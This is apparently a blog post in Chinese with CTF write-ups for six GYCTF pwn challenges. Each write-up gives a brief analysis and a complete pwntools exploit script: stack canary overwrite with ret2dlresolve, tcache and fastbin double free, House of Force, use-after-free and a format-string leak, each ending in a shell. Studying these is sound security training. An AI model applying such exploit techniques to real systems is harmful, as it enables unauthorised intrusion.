GYCTF

i春秋平台举办的一场公益性的CTF比赛,题目难度,不是我这种菜鸟可以做的,大部分是后期复现的,不定期更新

BFnote

此题出得真的好,思路就是先利用malloc申请一个可控制空间大小的块,如果size >= 0x20000,那么就会利用mmap分配,分配到debug001上面,而在TLS结构中保存有Canary的值,计算保存的Canary地址的偏移量,在note那里任意写,修改Canary的值,最开始的栈那里,修改ebp-4的地方为需要迁移的地址,然后读取地址,最后迁移到那里

1
mov     ecx, [ebp+var_4]
2
leave
3
lea     esp, [ecx-4]
4
retn

而在栈写入之后,继续会在一个bss段写入内容,这里利用ret2dllresolve,从而取得权限

1
from pwn import*
2
p = process('./BFnote')
3
#p = remote('123.56.85.29',6987)
4
elf = ELF('BFnote')
5
libc = ELF('libc.so.6')
6
read_plt = elf.plt['read']
7
read_got = elf.got['read']
8
plt0 = elf.get_section_by_name('.plt').header.sh_addr
9
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
10
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
11
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
12
base_stage = elf.bss() + 0x420
13
14
payload = 'U'*0x3A + p32(elf.bss()+0x420 +4)
15
p.sendafter('Give your description : ',payload)
16
#--------
17
fake_sym_addr = base_stage + 24 #fake_sym
18
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #alignment
19
fake_sym_addr = fake_sym_addr + align # 
20
index_dynsym = (fake_sym_addr - dynsym) / 0x10
21
st_name = fake_sym_addr + 0x10 - dynstr #system
22
fake_read_sym = flat([st_name, 0, 0, 0x12])
23
24
index_offset = base_stage + 16 - rel_plt
25
r_info = (index_dynsym << 8) | 0x7 
26
fake_read_reloc = flat([read_got, r_info])
27
28
payload = '\x00'*0x400
29
payload += p32(plt0)
30
payload += p32(index_offset)
31
payload += 'UUUU'
32
payload += p32(base_stage + 80) # binsh
33
payload += fake_read_reloc
34
payload += 'U'*align
35
payload += fake_read_sym
36
payload += 'system\x00'
37
payload += 'U' * (80 + 0x400-len(payload))
38
payload += '/bin/sh\x00'
39
payload += 'U'*(100 - len(payload))
40
41
p.sendafter('Give your postscript : ',payload)
42
p.sendlineafter('Give your notebook size : ',str(1024*130))
43
overflow_len = 0x216FC
44
p.sendlineafter('Give your title size : ',str(overflow_len))
45
p.sendlineafter('invalid ! please re-enter :','1')
46
p.sendafter('Give your title : ','U')
47
p.sendafter('Give your note : ','U'*4)
48
p.interactive()

下载

程序 EXP Libc

Signin

题目分析起来很简单,由于Calloc申请空间时,不会先从tcache中取出块,从fastbin中取出一个块后,然后calloc,然后剩下的fastbin chunk可能会插入到tcache中,因为LIFO原则,calloc申请的块会在fd上写上下一个块的地址.

1
from pwn import*
2
def add(idx):
3
    p.sendlineafter('choice?','1')
4
    p.sendlineafter('idx?\n',str(idx))
5
def edit(idx,content): #Just Once
6
    p.sendline('2')
7
    p.sendline(str(idx))
8
    p.sendline(content)
9
def free(idx):
10
    p.sendline('3')
11
    p.sendline(str(idx))
12
#p = remote('123.56.85.29',4205)
13
p = process('./pwn')
14
for i in range(9):
15
	add(i)
16
for i in range(9):
17
	free(i)
18
add(9)
19
edit(8,p64(0x4040B0))
20
p.sendline('6')
21
p.interactive()

下载

程序 EXP

Document

简单分析,free块之后指针没有置为0,通过double free之后的返回值,可以发现其libc为2.29,由于tcache的块最多能含有7个堆,故仍然利用double free在tcache情况下改free_hook为one_gadget

1
from pwn import*
2
def add(name,info):
3
	p.sendlineafter('choice : ','1')
4
	p.sendafter('name',name)
5
	p.sendafter('sex','M')
6
	p.sendafter('information',info)
7
	##Chunk -> name|sex|info = 0x80 
8
9
def show(index):
10
	p.sendlineafter('choice : ','2')
11
	p.sendlineafter('index : ',str(index))
12
13
def edit(index,info):
14
	p.sendlineafter('choice : ','3')
15
	p.sendlineafter('index : ',str(index))
16
	p.sendafter('sex?','Y\0')
17
	p.sendafter('information',info)
18
19
def free(index):
20
	p.sendlineafter('choice : ','4')
21
	p.sendlineafter('index : ',str(index))
22
#p = remote('123.56.85.29',4807)
23
p = process('./pwn')
24
libc = ELF('./libc-2.29.so')
25
context.log_level = 'debug'
26
add(p64(0),'\x00'*0x70)
27
add(p64(1),'\x00'*0x70)
28
add(p64(2),'\x00'*0x70)
29
add(p64(3),'\x00'*0x70)
30
free(3)
31
edit(3,'\x00'*0x70)
32
free(3)
33
34
free(2)
35
edit(2,'\x00'*0x70)
36
free(2)
37
38
free(1)
39
edit(1,'\x00'*0x70)
40
41
free(0)
42
edit(0,'\x00'*0x70)
43
free(0)
44
45
free(1)
46
show(1)
47
p.recvline()
48
malloc_hook = u64(p.recv(6).ljust(8,'\x00'))  - 0x70
49
libcbase = malloc_hook - libc.sym['__malloc_hook']
50
log.success('LibcBase:\t' + hex(libcbase))
51
free_hook = libcbase + libc.sym['__free_hook']
52
system = libcbase + 0x71FF0
53
add(p64(free_hook),'\x00'*0x70)
54
add('/bin/sh\x00','\x00'*0x70)
55
add(p64(system),'\x00'*0x70)
56
free(5)
57
p.interactive()

下载

程序 EXP

Force

HOF题,在BFnote那里有讲过,利用mmap分配的块靠近libcbase,简单获取libc_base,然后改realloc_hook为one_gadget,malloc_hook利用realloc修栈即可

1
from pwn import*
2
def add(size,content):
3
	p.sendline('1')
4
	p.sendlineafter('size',str(size))
5
	p.recvuntil('bin addr ')
6
	chunk = int(p.recvuntil('\n',drop=True),16)
7
	p.sendafter('content',content)
8
	return chunk
9
def puts():
10
	p.sendline('2')
11
p = process('./pwn')
12
libc = ELF('./libc-2.23.so')
13
chunk0 = add(0x200000,'\x00')
14
libc_base = chunk0 + 0x200FF0
15
log.info('LibcBase:\t' + hex(libc_base))
16
realloc  = libc_base + libc.sym['realloc']
17
malloc_hook  = libc_base + libc.sym['__malloc_hook']
18
og = [0x45216,0x4526A,0xF02A4,0xF1147]
19
one_gadget = libc_base + og[1]
20
chunk1 = add(0x20,'\x00'*0x28 + '\xFF'*8)
21
top_chunk = chunk1 - 0x10 + 0x30
22
offset = malloc_hook - top_chunk - 0x30
23
add(offset,'\x00')
24
add(0x10,p64(0) + p64(one_gadget) + p64(realloc + 4))
25
p.sendline('1')
26
p.sendline('16')
27
p.interactive()

下载

程序 EXP

Some_thing_exciting

UAF漏洞,直接控制其中一个malloc(0x10),然后改为题目给的fake_chunk地址

1
from pwn import*
2
def add(sizeI,sizeII,contentI,contentII):
3
	p.sendlineafter('do :','1')
4
	p.sendlineafter("length : ",str(sizeI))
5
	p.sendline(contentI)
6
	p.sendlineafter("length : ",str(sizeII))
7
	p.sendline(contentII)
8
def free(index):
9
	p.sendlineafter('do :','3')
10
	p.sendlineafter('ID : ',str(index))
11
def show(index):
12
	p.sendlineafter('do :','4')
13
	p.sendlineafter('ID : ',str(index))
14
p = remote('123.56.85.29',6484)
15
context.log_level = 'debug'
16
fake = 0x6020A8
17
add(0x20,0x20,'','')		#0
18
add(0x20,0x20,'','')		#1
19
free(0)
20
free(1)
21
add(0x10,0x20,p64(fake),'')	#2 = 1 -> 0
22
show(0)
23
p.interactive()

下载

程序 EXP

Some_thing_interesting

格式化字符串漏洞获取PIE,UAF漏洞以及利用double free将块布置到bss段中保存size的内存地址,最后利用edit修改即可

1
from pwn import*
2
def add(sizeI,sizeII,contentI,contentII):
3
	p.sendlineafter('do :','1')
4
	p.sendlineafter('length : ',str(sizeI))
5
	p.sendafter('O : ',contentI)
6
	p.sendlineafter('length : ',str(sizeII))
7
	p.sendafter('RE : ',contentII)
8
def edit(index,contentI,contentII):
9
	p.sendlineafter('do :','2')
10
	p.sendlineafter('ID : ',str(index))
11
	p.sendafter('O : ',contentI)
12
	p.sendafter('RE : ',contentII)
13
def free(index):
14
	p.sendlineafter('do :','3')
15
	p.sendlineafter('ID : ',str(index))
16
def show(index):
17
	p.sendlineafter('do :','4')
18
	p.sendlineafter('ID : ',str(index))
19
p = process('./interested')
20
elf = ELF('./interested',checksec=False)
21
libc = ELF('libc-2.23.so',checksec=False)
22
context.log_level =='debug'
23
p.sendafter('please:','OreOOrereOOreO%14$p')
24
p.sendlineafter('do :','0')
25
p.recvuntil('OreOOrereOOreO')
26
pie = int(p.recv(14),16) - 0x202050
27
add(0x60,0x70,'I','I')
28
add(0x60,0x70,'II','II')
29
free(1)
30
free(2)
31
free(1)
32
'''
33
Fastbins
34
[0x70] 1 ->2 -> 1
35
[0x80] 1 ->2 -> 1
36
'''
37
add(0x60,0x30,p64(pie+0x202080),'I')
38
add(0x60,0x30,'II','II')
39
add(0x60,0x30,'I','I')
40
payload = p64(0x70)*3 + p64(0)*8 + p64(pie+0x2020E8)
41
add(0x60,0x30,payload,'III')
42
edit(1,p64(pie+0x2020E8)+p64(elf.got['puts'] + pie),'I')
43
show(2)
44
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['puts']
45
malloc_hook = libc_base + libc.sym['__malloc_hook']
46
realloc = libc_base + libc.sym['realloc']
47
og = [0x45216,0x4526a,0xf02a4,0xf1147]
48
one_gadget = libc_base + og[3]
49
edit(1,p64(pie+0x2020E8) + p64(malloc_hook),'I')
50
edit(2,p64(one_gadget),'II')
51
p.sendlineafter('do :','1')
52
p.sendlineafter('length : ','32')
53
p.interactive()

下载

程序 EXP

Contents
  1. 1. BFnote
    1. 1.1. 下载
  2. 2. Signin
    1. 2.1. 下载
  3. 3. Document
    1. 3.1. 下载
  4. 4. Force
    1. 4.1. 下载
  5. 5. Some_thing_exciting
    1. 5.1. 下载
  6. 6. Some_thing_interesting
    1. 6.1. 下载
|